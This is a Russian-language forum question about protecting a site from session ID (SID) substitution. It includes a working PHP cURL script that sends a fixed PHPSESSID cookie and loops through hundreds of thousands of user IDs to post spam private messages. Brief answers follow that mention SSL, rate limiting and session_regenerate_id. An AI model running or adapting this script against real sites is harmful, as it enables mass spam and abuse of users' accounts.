Задать вопрос

Как защитить сайт от подмены SID?

Сразу приведу код как пример:

<?php

set_time_limit(0);

header('Content-Type: text/html; charset=windows-1251', TRUE);

define('CI', curl_init());

curl_setopt(CI, CURLOPT_COOKIESESSION, 1);
curl_setopt(CI, CURLOPT_COOKIE, 'PHPSESSID=rpmgyvabulrh7478yemfhpc23csawvd0;');
curl_setopt(CI, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt(CI, CURLOPT_RETURNTRANSFER, 1);
curl_setopt(CI, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt(CI, CURLOPT_HEADER, 0);
curl_setopt(CI, CURLOPT_POST, 1);

function test($text, $user = 0)
{
	$text = urlencode($text);
	
	curl_setopt(CI, CURLOPT_URL, "http://www.domane.ru/pm/{$user}/");
	curl_setopt(CI, CURLOPT_REFERER, "http://www.domane.ru/pm/{$user}/");
	curl_setopt(CI, CURLOPT_POSTFIELDS, "text={$text}");
	
	return curl_exec(CI);
}

$message = 'Привет, это спам, ты рад получать спам?';

$start_user_id = 1000000;
$end_user_id = 1553568;

for ($i = $start_user_id; $i < $end_user_id; $i++)
{
	test(strtr($message, [':hash' => md5(microtime(TRUE)+$i)]), $i);
}

curl_close(CI);

echo 'Finish!';


Код рабочий, можете сами тестировать, таким образом, я могу программно, рассылать спам в ЛС пользователям некого сайта, их брешь заключается в том, что мне стоит установить себе SID в куки и всё...
Как обезопаситься самому от такого? Если IP + браузер не работает при таком раскладе...
Т.е. необходимо, как-то сделать, чтобы при открытии сайта в скриптах, проверялось что-то ещё, но что?
  • Вопрос задан
  • 2692 просмотра
Подписаться 5 Оценить Комментировать
Пригласить эксперта
Ответы на вопрос 3
Sander_Li
@Sander_Li
Backend developer
1) SSL
2) Неплохой пример
Ответ написан
Комментировать
Melkij
@Melkij
PostgreSQL DBA
В чём брешь-то? Что нет ограничения на количество обращений в единицу времени?

Где подмена SID, о которой вы спрашиваете в заголовке, если SID у вас захардкожен на некий заведомо известный?
Ответ написан
HDApache
@HDApache
PHP программист
Во первых, Вы для начала попробуйте украсть этот session id (не теоретически, а практически)

а во вторых есть session_regenerate_id
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы